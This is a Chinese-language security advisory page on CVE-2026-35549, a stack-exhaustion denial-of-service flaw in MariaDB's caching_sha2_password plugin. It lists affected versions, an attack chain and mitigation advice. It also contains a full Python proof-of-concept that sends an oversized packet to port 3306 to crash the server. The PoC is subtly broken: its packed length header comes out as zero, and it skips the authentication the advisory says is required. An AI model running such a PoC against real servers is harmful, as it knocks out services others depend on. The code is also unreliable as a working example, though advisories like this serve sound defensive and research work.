IPBUF安全漏洞报告
English
CVE-2026-35549 CVSS 6.5 中危

CVE-2026-35549 MariaDB认证插件拒绝服务漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-35549
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
MariaDB Server

相关标签

CVE-2026-35549MariaDB拒绝服务DoS栈溢出内存破坏

漏洞概述

MariaDB Server在特定版本之前的caching_sha2_password认证插件中存在漏洞。由于sha256_crypt_r函数使用alloca进行内存分配,攻击者可发送大包导致服务器崩溃,造成拒绝服务。

技术细节

该漏洞源于MariaDB Server的caching_sha2_password认证插件中的实现缺陷。在处理用户认证请求的过程中,插件内部调用的sha256_crypt_r函数错误地使用了alloca()函数进行内存分配。alloca()的特性是在调用栈上动态分配内存空间,且不检查分配大小是否超过栈的剩余空间。攻击者利用已知的低权限账户,可以向服务器发送特制的超大数据包。当服务器尝试解析并处理该异常大的数据包时,alloca()会尝试申请超过栈阈值的内存,导致栈溢出,进而引发段错误使MariaDB服务进程崩溃。此攻击向量通过网络发起,无需用户交互,攻击成本较低,但能造成严重的拒绝服务后果。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描目标网络,识别运行MariaDB数据库的服务器,并确认其启用了caching_sha2_password认证插件。
STEP 2
2. 获取权限
攻击者利用低权限账户(或匿名账户,如配置允许)连接到数据库服务器。
STEP 3
3. 漏洞利用
攻击者向服务器发送特制的超大网络数据包,触发sha256_crypt_r函数中的alloca调用。
STEP 4
4. 拒绝服务
由于alloca申请的栈空间过大,导致栈溢出,服务器进程崩溃,服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct # PoC for CVE-2026-35549 # Target: MariaDB Server with caching_sha2_password enabled # Description: Sends a large packet to trigger stack exhaustion in sha256_crypt_r via alloca() def send_malicious_packet(host, port): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) # Receive initial handshake packet packet = sock.recv(4096) # Construct a large authentication packet # The size needs to be large enough to blow the stack via alloca() # Example size: 16MB large_size = 0x1000000 # MySQL Packet Header: Length (3 bytes) + Sequence (1 byte) header = struct.pack('<I', large_size)[0:3] + bytes([1]) # Payload: Padding 'A's payload = b'A' * large_size full_packet = header + payload print(f"Sending packet of size: {len(full_packet)}") sock.send(full_packet) # Server should crash here print("Packet sent. Check server status.") except Exception as e: print(f"Exception occurred: {e}") finally: sock.close() if __name__ == "__main__": target_host = "127.0.0.1" target_port = 3306 send_malicious_packet(target_host, target_port)

影响范围

MariaDB Server < 11.4.10
MariaDB Server 11.5.x - 11.8.x < 11.8.6
MariaDB Server 12.x < 12.2.2

防御指南

临时缓解措施
建议立即升级至最新修复版本。若无法立即升级,请实施严格的网络访问控制列表(ACL),阻止未经授权的来源访问数据库端口,并监控异常的流量或数据库崩溃日志。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表